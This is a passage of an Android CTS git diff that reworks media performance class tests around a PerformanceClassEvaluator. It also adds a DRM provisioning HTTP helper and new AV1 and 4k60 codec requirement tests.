+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-3,H-1-4")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(1080, 1920, 10000000, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
     private void testCodec(int height, int width, int bitrate, int requiredMinInstances)
             throws Exception {
         ArrayList<Pair<String, String>> mimeEncoderPairs = new ArrayList<>();
         mimeEncoderPairs.add(Pair.create(mMime, mEncoderName));
         int maxInstances = checkAndGetMaxSupportedInstancesForCodecCombinations(height, width,
-                mimeEncoderPairs);
+                mimeEncoderPairs, requiredMinInstances);
         double achievedFrameRate = 0.0;
         if (maxInstances >= requiredMinInstances) {
             ExecutorService pool = Executors.newFixedThreadPool(maxInstances);
@@ -112,22 +122,22 @@
                 achievedFrameRate += result.get();
             }
         }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_3;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_4;
         // Achieved frame rate is not compared as this test runs in byte buffer mode.
-        if (Utils.isPerfClass()) {
-            assertTrue("Encoder " + mEncoderName + " unable to support minimum concurrent " +
-                            "instances. act/exp: " + maxInstances + "/" + requiredMinInstances,
-                    maxInstances >= requiredMinInstances);
-            Log.v(LOG_TAG, "Achieved fps: " + achievedFrameRate +
-                    "\nAchieved frame rate is not compared as this test runs in byte buffer mode");
+        if (height >= 1080) {
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_1080p();
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_1080p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
         } else {
-            int pc = maxInstances >= requiredMinInstances ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "MultiEncoderPerf_" + mEncoderName);
-            log.addValue("encoder", mMime + "_" + mEncoderName, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-3,H-1-4 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
+            r5_1__H_1_3 = pce.addR5_1__H_1_3_720p(mMime, mMime, height);
+            r5_1__H_1_4 = pce.addR5_1__H_1_4_720p();
+            r5_1__H_1_3.setConcurrentInstances(maxInstances);
+            r5_1__H_1_4.setConcurrentFps(achievedFrameRate);
         }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
index d7d8445..34ffc9b 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiTranscoderPerfTest.java
@@ -19,23 +19,20 @@
 import static org.junit.Assert.assertTrue;
 
 import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
 import android.util.Pair;
 import android.view.Surface;
 
 import androidx.test.filters.LargeTest;
-import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
 
 import org.junit.Assume;
 import org.junit.Rule;
 import org.junit.Test;
+import org.junit.rules.TestName;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
 
@@ -73,6 +70,9 @@
         mEncoderPair = encoderPair;
     }
 
+    @Rule
+    public final TestName mTestName = new TestName();
+
     // Parameters {0}_{1}_{2} -- Pair(Mime DecoderName)_Pair(Mime EncoderName)_isAsync
     @Parameterized.Parameters(name = "{index}({0}_{1}_{2})")
     public static Collection<Object[]> inputParams() {
@@ -115,10 +115,25 @@
 
         boolean hasVP9 = mDecoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9)
                 || mEncoderPair.first.equals(MediaFormat.MIMETYPE_VIDEO_VP9);
-        int requiredMinInstances = getRequiredMinConcurrentInstances(hasVP9) / 2;
+        int requiredMinInstances = getRequiredMinConcurrentInstances720p(hasVP9);
         testCodec(m720pTestFiles, 720, 1280, requiredMinInstances);
     }
 
+    /**
+     * This test calculates the validates number of concurrent 1080p Transcode sessions that
+     * it can support by the (mime, decoder - mime, encoder) pairs. Creates maxInstances / 2
+     * Transcode sessions. If maximum instances is odd, creates one additional decoder which decodes
+     * to surface and render. And ensures that all the supported sessions succeed in
+     * transcoding/decoding with meeting the expected frame rate.
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-5,H-1-6")
+    public void test1080p() throws Exception {
+        Assume.assumeTrue(Utils.isTPerfClass() || !Utils.isPerfClass());
+        testCodec(m1080pTestFiles, 1080, 1920, REQUIRED_MIN_CONCURRENT_INSTANCES);
+    }
+
     private void testCodec(Map<String, String> testFiles, int height, int width,
             int requiredMinInstances) throws Exception {
         mTestFiles = testFiles;
@@ -126,7 +141,8 @@
         mimeCodecPairs.add(mDecoderPair);
         mimeCodecPairs.add(mEncoderPair);
         int maxInstances =
-                checkAndGetMaxSupportedInstancesForCodecCombinations(height, width, mimeCodecPairs);
+                checkAndGetMaxSupportedInstancesForCodecCombinations(height, width, mimeCodecPairs,
+                        requiredMinInstances);
         double achievedFrameRate = 0.0;
         if (maxInstances >= requiredMinInstances) {
             ExecutorService pool =
@@ -160,29 +176,22 @@
                 }
             }
         }
-        if (Utils.isPerfClass()) {
-            assertTrue("DecodeMime: " + mDecoderPair.first + ", Decoder " + mDecoderPair.second +
-                    ", EncodeMime: " + mEncoderPair.first + ", Encoder: " + mEncoderPair.second +
-                    ", unable to support minimum concurrent instances. act/exp: " + maxInstances +
-                    "/" + requiredMinInstances, maxInstances >= requiredMinInstances);
 
-            assertTrue("Unable to achieve the maxFrameRate supported. act/exp: " + achievedFrameRate
-                            + "/" + mMaxFrameRate / 2 + " for " + maxInstances + " instances.",
-                    achievedFrameRate >= mMaxFrameRate / 2);
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_5;
+        PerformanceClassEvaluator.ConcurrentCodecRequirement r5_1__H_1_6;
+        if (height >= 1080) {
+            r5_1__H_1_5 = pce.addR5_1__H_1_5_1080p();
+            r5_1__H_1_6 = pce.addR5_1__H_1_6_1080p();
+            r5_1__H_1_5.setConcurrentInstances(maxInstances);
+            r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
         } else {
-            int pc = maxInstances >= requiredMinInstances && achievedFrameRate >= mMaxFrameRate / 2
-                    ? Build.VERSION_CODES.R : 0;
-            DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
-                    "MultiTranscoderPairPerf_" + mDecoderPair.second);
-            log.addValue("decoders", mDecoderPair.first + "_" + mDecoderPair.second + "_"
-                            + mEncoderPair.first + "_" + mEncoderPair.second, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.addValue("achieved_framerate", achievedFrameRate, ResultType.HIGHER_BETTER,
-                    ResultUnit.NONE);
-            log.addValue("expected_framerate", mMaxFrameRate, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.setSummary("CDD 2.2.7.1/5.1/H-1-5,H-1-6 performance_class", pc, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
+            r5_1__H_1_5 = pce.addR5_1__H_1_5_720p(mDecoderPair.first, mEncoderPair.first, height);
+            r5_1__H_1_6 = pce.addR5_1__H_1_6_720p(mDecoderPair.first, mEncoderPair.first, height);
+            r5_1__H_1_5.setConcurrentInstances(maxInstances);
+            r5_1__H_1_6.setConcurrentFps(achievedFrameRate);
         }
+
+        pce.submitAndCheck();
     }
 }
diff --git a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
index 8a4b732..8da22f3 100644
--- a/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/PerformanceClassTest.java
@@ -17,12 +17,7 @@
 package android.mediapc.cts;
 
 import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
-import static android.mediapc.cts.common.Utils.MIN_MEMORY_PERF_CLASS_CANDIDATE_MB;
-import static android.mediapc.cts.common.Utils.MIN_MEMORY_PERF_CLASS_T_MB;
-import static android.util.DisplayMetrics.DENSITY_400;
-
-import static com.google.common.truth.Truth.assertThat;
-
+import static android.media.MediaDrm.SECURITY_LEVEL_HW_SECURE_ALL;
 import static org.junit.Assert.assertTrue;
 
 import android.app.ActivityManager;
@@ -35,39 +30,40 @@
 import android.media.UnsupportedSchemeException;
 import android.mediapc.cts.common.PerformanceClassEvaluator;
 import android.mediapc.cts.common.Utils;
-import android.os.Build;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.WindowManager;
-
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.UUID;
 import org.junit.Assume;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
 
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.UUID;
-
 /**
  * Tests the basic aspects of the media performance class.
  */
 public class PerformanceClassTest {
     private static final String TAG = "PerformanceClassTest";
-    private static final UUID WIDEVINE_UUID = new UUID(0xEDEF8BA979D64ACEL, 0xA3C827DCD51D21EDL);
+    public static final String[] VIDEO_CONTAINER_MEDIA_TYPES =
+        {"video/mp4", "video/webm", "video/3gpp", "video/3gpp2", "video/avi", "video/x-ms-wmv",
+            "video/x-ms-asf"};
     static ArrayList<String> mMimeSecureSupport = new ArrayList<>();
 
     @Rule
     public final TestName mTestName = new TestName();
 
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
     static {
         mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_AVC);
         mMimeSecureSupport.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
@@ -89,8 +85,8 @@
 
     @SmallTest
     @Test
-    // TODO(b/218771970) Add @CddTest annotation
-    public void testSecureHwDecodeSupport() throws IOException {
+    @CddTest(requirements = {"2.2.7.1/5.1/H-1-11"})
+    public void testSecureHwDecodeSupport() {
         ArrayList<String> noSecureHwDecoderForMimes = new ArrayList<>();
         for (String mime : mMimeSecureSupport) {
             boolean isSecureHwDecoderFoundForMime = false;
@@ -112,74 +108,41 @@
             if (isHwDecoderFoundForMime && !isSecureHwDecoderFoundForMime)
                 noSecureHwDecoderForMimes.add(mime);
         }
-        if (Utils.isTPerfClass()) {
-            assertTrue(
-                    "For MPC >= Android T, if HW decoder is present for a mime, secure HW decoder" +
-                            " must be present for the mime. HW decoder present but secure HW " +
-                            "decoder not available for mimes: " + noSecureHwDecoderForMimes,
-                    noSecureHwDecoderForMimes.isEmpty());
-        } else {
-            DeviceReportLog log =
-                    new DeviceReportLog("MediaPerformanceClassLogs", "SecureHwDecodeSupport");
-            log.addValue("SecureHwDecodeSupportForMimesWithHwDecoders",
-                    noSecureHwDecoderForMimes.isEmpty(), ResultType.NEUTRAL, ResultUnit.NONE);
-            // TODO(b/218771970) Log CDD sections
-            log.setSummary("MPC 13: Widevine/Secure codec requirements", 0, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
+
+        boolean secureDecodeSupportIfHwDecoderPresent = noSecureHwDecoderForMimes.isEmpty();
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.SecureCodecRequirement r5_1__H_1_11 = pce.addR5_1__H_1_11();
+        r5_1__H_1_11.setSecureReqSatisfied(secureDecodeSupportIfHwDecoderPresent);
+
+        pce.submitAndCheck();
     }
 
     @SmallTest
     @Test
-    // TODO(b/218771970) Add @CddTest annotation
-    public void testWidevineSupport() throws UnsupportedSchemeException {
-        boolean isWidevineSupported = MediaDrm.isCryptoSchemeSupported(WIDEVINE_UUID);
-        boolean isL1Supported = false;
-        boolean isL1Tier3Supported = false;
-        boolean isOemCrypto17Plus = false;
-        boolean isWidevineCdm17Plus = false;
-        if (isWidevineSupported) {
-            MediaDrm mediaDrm = new MediaDrm(WIDEVINE_UUID);
-            isL1Supported = mediaDrm.getPropertyString("securityLevel").equals("L1");
-            int tier = Integer.parseInt(mediaDrm.getPropertyString("resourceRatingTier"));
-            isL1Tier3Supported = tier >= 3;
+    @CddTest(requirements = {"2.2.7.1/5.7/H-1-2"})
+    public void testMediaDrmSecurityLevelHwSecureAll() throws UnsupportedSchemeException {
+        List<UUID> drmList = MediaDrm.getSupportedCryptoSchemes();
+        List<UUID> supportedHwSecureAllSchemes = new ArrayList<>();
 
-            String oemCryptoVersionProperty = mediaDrm.getPropertyString("oemCryptoApiVersion");
-            int oemCryptoVersion = Integer.parseInt(oemCryptoVersionProperty);
-            isOemCrypto17Plus = oemCryptoVersion >= 17;
-
-            String cdmVersionProperty = mediaDrm.getPropertyString(MediaDrm.PROPERTY_VERSION);
-            int cdmMajorVersion = Integer.parseInt(cdmVersionProperty.split("\\.", 2)[0]);
-            isWidevineCdm17Plus = cdmMajorVersion >= 17;
+        for (UUID cryptoSchemeUUID : drmList) {
+            boolean cryptoSchemeSupportedForAtleastOneMediaType = false;
+            for (String mediaType : VIDEO_CONTAINER_MEDIA_TYPES) {
+                cryptoSchemeSupportedForAtleastOneMediaType |= MediaDrm
+                    .isCryptoSchemeSupported(cryptoSchemeUUID, mediaType,
+                        SECURITY_LEVEL_HW_SECURE_ALL);
+            }
+            if (cryptoSchemeSupportedForAtleastOneMediaType) {
+                supportedHwSecureAllSchemes.add(cryptoSchemeUUID);
+            }
         }
 
-        if (Utils.isTPerfClass()) {
-            assertTrue("Widevine support required for MPC >= Android T", isWidevineSupported);
-            assertTrue("Widevine L1 support required for MPC >= Android T", isL1Supported);
-            assertTrue("Widevine L1 Resource Rating Tier 3 support required for MPC >= Android T",
-                    isL1Tier3Supported);
-            assertTrue("OEMCrypto min version 17.x required for MPC >= Android T",
-                    isOemCrypto17Plus);
-            assertTrue("Widevine CDM min version 17.x required for MPC >= Android T",
-                    isWidevineCdm17Plus);
-        } else {
-            DeviceReportLog log =
-                    new DeviceReportLog("MediaPerformanceClassLogs", "WidevineSupport");
-            log.addValue("Widevine Support", isWidevineSupported, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.addValue("Widevine L1 Support", isL1Supported, ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("Widevine L1 Resource Rating Tier 3 Support", isL1Tier3Supported,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("OEMCrypto min version 17.x Support", isOemCrypto17Plus,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-            log.addValue("Widevine CDM min version 17.x Support", isWidevineCdm17Plus,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-            // TODO(b/218771970) Log CDD sections
-            log.setSummary("MPC 13: Widevine/Secure codec requirements", 0, ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-            log.submit(InstrumentationRegistry.getInstrumentation());
-        }
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.SecureCodecRequirement r5_7__H_1_2 = pce.addR5_7__H_1_2();
+
+        r5_7__H_1_2.setNumCryptoHwSecureAllDec(supportedHwSecureAllSchemes.size());
+
+        pce.submitAndCheck();
     }
 
     @SmallTest
@@ -221,6 +184,7 @@
 
         r7_1_1_1__h_1_1.setLongResolution(longPix);
         r7_1_1_1__h_2_1.setLongResolution(longPix);
+
         r7_1_1_1__h_1_1.setShortResolution(shortPix);
         r7_1_1_1__h_2_1.setShortResolution(shortPix);
 
@@ -233,8 +197,7 @@
     @Test
     @CddTest(requirements={
         "2.2.7.3/7.6.1/H-1-1",
-        "2.2.7.3/7.6.1/H-2-1",
-        "2.2.7.3/7.6.1/H-3-1"})
+        "2.2.7.3/7.6.1/H-2-1",})
     public void testMinimumMemory() {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
 
diff --git a/tests/mediapc/src/android/mediapc/cts/Post.java b/tests/mediapc/src/android/mediapc/cts/Post.java
new file mode 100644
index 0000000..65d7062
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/Post.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.util.Log;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.SocketTimeoutException;
+import java.net.URL;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * The following class connects to HTTP server, posts requests and returns the response
+ */
+public final class Post {
+
+    private static final int TIMEOUT_MS = 5000;
+    private static final int MAX_TRIES = 5;
+    private static final String TAG = "WVPostRequest";
+
+    public static final class Response {
+
+        public final int code;
+        public final byte[] body;
+
+        public Response(int code, byte[] body) {
+            this.code = code;
+            this.body = body;
+        }
+    }
+
+    private static final byte[] EMPTY_BODY = new byte[0];
+
+    private final String mUrl;
+    private final byte[] mData;
+    private final boolean mExpectOutput;
+
+    private final Map<String, String> mProperties = new HashMap<>();
+
+    public Post(String url, byte[] data) {
+
+        mUrl = url;
+
+        mData = data == null ?
+                EMPTY_BODY :
+                Arrays.copyOf(data, data.length);
+
+        mExpectOutput = data != null;
+    }
+
+    public void setProperty(String key, String value) {
+        mProperties.put(key, value);
+    }
+
+    public Response send() throws IOException, InterruptedException {
+
+        int tries = 1;
+        boolean needRetry = true;
+        Response response = null;
+
+        while (needRetry) {
+            HttpURLConnection connection = null;
+            needRetry = false;
+
+            try {
+                connection = (HttpURLConnection) new URL(mUrl).openConnection();
+
+                connection.setRequestMethod("POST");
+                connection.setDoOutput(mExpectOutput);
+                connection.setDoInput(true);
+                connection.setConnectTimeout(TIMEOUT_MS);
+                connection.setReadTimeout(TIMEOUT_MS);
+                connection.setChunkedStreamingMode(0);
+
+                for (final Map.Entry<String, String> property : mProperties.entrySet()) {
+                    connection.setRequestProperty(
+                            property.getKey(),
+                            property.getValue());
+                }
+
+                try (BufferedOutputStream out =
+                        new BufferedOutputStream(connection.getOutputStream())) {
+                    out.write(mData);
+                }
+
+                try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {
+
+                    try (BufferedInputStream inputStream = connection.getResponseCode() < 400
+                            ? new BufferedInputStream(connection.getInputStream())
+                            : new BufferedInputStream(connection.getErrorStream())) {
+                        connectStreams(inputStream, outputStream);
+                    }
+
+                    response =  new Response(
+                            connection.getResponseCode(),
+                            outputStream.toByteArray());
+                }
+
+            } catch (SocketTimeoutException | FileNotFoundException ex) {
+
+                if (tries == MAX_TRIES) {
+                    Log.e(TAG, "Aborting after receiving an Exception connecting to server on try "
+                            + tries);
+                    throw ex;
+                }
+
+                Log.w(TAG, "Retrying after receiving an Exception connecting to server on try "
+                        + tries);
+                tries++;
+                needRetry = true;
+
+                // Let the gap between retries grow slightly with each retry.
+                Thread.sleep(tries * 500L);
+
+            } catch (Exception ex) {
+
+                Log.e(TAG, "Unexpected failure in response / request.", ex);
+                throw ex;
+
+            } finally {
+
+                if (connection != null) {
+                    connection.disconnect();
+                }
+            }
+        }
+        return response;
+    }
+
+    private static void connectStreams(BufferedInputStream in, ByteArrayOutputStream out)
+            throws IOException {
+
+        final byte[] scratch = new byte[1024];
+
+        int read; /* declare this here so that the for loop can be aligned */
+
+        while ((read = in.read(scratch)) != -1) {
+            out.write(scratch, 0, read);
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
new file mode 100644
index 0000000..8d02700
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/ProvisionRequester.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static org.junit.Assert.*;
+
+import android.media.MediaDrm;
+
+import java.io.IOException;
+
+/*
+ * The ProvisionRequester is used to provision an unprovisioned device.
+ * This is likely a single use class, as devices should not need to be
+ * continually re-provisioned during playback.
+ */
+public final class ProvisionRequester {
+
+    private final MediaDrm mDrm;
+    private Exception mException = null;
+
+    public ProvisionRequester(MediaDrm drm) {
+        mDrm = drm;
+    }
+
+    private final Thread provisionThread = new Thread() {
+        @Override
+        public void run() {
+            try {
+                final MediaDrm.ProvisionRequest request = mDrm.getProvisionRequest();
+
+                final byte[] data = request.getData();
+
+                final String signedUrl = String.format(
+                        "%s&signedRequest=%s",
+                        request.getDefaultUrl(),
+                        new String(data));
+
+                final Post post = new Post(signedUrl, null);
+
+                post.setProperty("Accept", "*/*");
+                post.setProperty("User-Agent", "Widevine CDM v1.0");
+                post.setProperty("Content-Type", "application/json");
+                post.setProperty("Connection", "close");
+
+                final Post.Response response = post.send();
+
+                if (response.code != 200) {
+                    throw new IOException("Server returned HTTP error code " + response.code);
+                }
+
+                if (response.body == null) {
+                    throw new IOException("No response from provisioning server");
+                }
+
+                if (response.body.length == 0) {
+                    throw new IOException("Empty response from provisioning server");
+                }
+
+                mDrm.provideProvisionResponse(response.body);
+            } catch(Exception e) {
+                mException = e;
+            }
+        }
+    };
+
+    public void send() {
+        try {
+            provisionThread.start();
+            provisionThread.join();
+            assertNull("Got an Exception in provisioning: " + mException, mException);
+        } catch (InterruptedException ex) {
+            fail("Failed to provision");
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
new file mode 100644
index 0000000..2ee8b3b
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/VideoCodecRequirementsTest.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.media.MediaFormat.MIMETYPE_VIDEO_AV1;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecInfo.VideoCapabilities.PerformancePoint;
+import android.media.MediaFormat;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
+import android.mediapc.cts.common.Utils;
+import android.util.Log;
+import androidx.test.filters.LargeTest;
+import com.android.compatibility.common.util.CddTest;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+
+public class VideoCodecRequirementsTest {
+    private static final String LOG_TAG = VideoCodecRequirementsTest.class.getSimpleName();
+    private static final String FILE_AV1_REQ_SUPPORT =
+            "dpov_1920x1080_60fps_av1_10bit_film_grain.mp4";
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    @Before
+    public void isPerformanceClassCandidate() {
+        Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+    }
+
+    private Set<String> get4k60HwCodecSet(boolean isEncoder) throws IOException {
+        Set<String> codecSet = new HashSet<>();
+        Set<String> codecMediaTypes = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+        PerformancePoint PP4k60 = new PerformancePoint(3840, 2160, 60);
+        for (String codecMediaType : codecMediaTypes) {
+            ArrayList<String> hwVideoCodecs =
+                    selectHardwareCodecs(codecMediaType, null, null, isEncoder);
+            for (String hwVideoCodec : hwVideoCodecs) {
+                MediaCodec codec = MediaCodec.createByCodecName(hwVideoCodec);
+                CodecCapabilities capabilities =
+                        codec.getCodecInfo().getCapabilitiesForType(codecMediaType);
+                List<PerformancePoint> pps =
+                        capabilities.getVideoCapabilities().getSupportedPerformancePoints();
+                assertTrue(hwVideoCodec + " doesn't advertise performance points", pps.size() > 0);
+                for (PerformancePoint pp : pps) {
+                    if (pp.covers(PP4k60)) {
+                        codecSet.add(hwVideoCodec);
+                        Log.d(LOG_TAG,
+                                "Performance point 4k60 supported by codec: " + hwVideoCodec);
+                        break;
+                    }
+                }
+                codec.release();
+            }
+        }
+        return codecSet;
+    }
+
+    /**
+     * Validates AV1 hardware decoder is present and supports: Main 10, Level 4.1, Film Grain
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-14")
+    public void testAV1HwDecoderRequirements() throws Exception {
+        MediaFormat format = MediaFormat.createVideoFormat(MIMETYPE_VIDEO_AV1, 1920, 1080);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 60);
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        formats.add(format);
+        ArrayList<String> av1HwDecoders =
+                selectHardwareCodecs(MIMETYPE_VIDEO_AV1, formats, null, false);
+        boolean oneCodecDecoding = false;
+        for (String codec : av1HwDecoders) {
+            Decode decode = new Decode(MIMETYPE_VIDEO_AV1, FILE_AV1_REQ_SUPPORT, codec, true);
+            double achievedRate = decode.doDecode();
+            if (achievedRate > 0) {
+                oneCodecDecoding = true;
+            }
+        }
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement rAV1DecoderReq = pce.addRAV1DecoderReq();
+        rAV1DecoderReq.setAv1DecoderReq(oneCodecDecoding);
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * Validates if a hardware decoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-15")
+    public void test4k60Decoder() throws IOException {
+        Set<String> decoderSet = get4k60HwCodecSet(false);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement r4k60HwDecoder = pce.addR4k60HwDecoder();
+        r4k60HwDecoder.set4kHwDecoders(decoderSet.size());
+
+        pce.submitAndCheck();
+    }
+
+    /**
+     * Validates if a hardware encoder that supports 4k60 is present
+     */
+    @LargeTest
+    @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+    @CddTest(requirement = "2.2.7.1/5.1/H-1-16")
+    public void test4k60Encoder() throws IOException {
+        Set<String> encoderSet = get4k60HwCodecSet(true);
+
+        PerformanceClassEvaluator pce = new PerformanceClassEvaluator(this.mTestName);
+        PerformanceClassEvaluator.VideoCodecRequirement r4k60HwEncoder = pce.addR4k60HwEncoder();
+        r4k60HwEncoder.set4kHwEncoders(encoderSet.size());
+
+        pce.submitAndCheck();
+    }
+}
diff --git a/tests/musicrecognition/Android.bp b/tests/musicrecognition/Android.bp
index 1b7298a..ecda10b 100644
--- a/tests/musicrecognition/Android.bp
+++ b/tests/musicrecognition/Android.bp
@@ -31,4 +31,8 @@
         "cts",
         "general-tests",
     ],
+    data: [
+        ":CtsOutsideOfPackageService",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/musicrecognition/AndroidTest.xml b/tests/musicrecognition/AndroidTest.xml
index 918df5a..c5fce07 100644
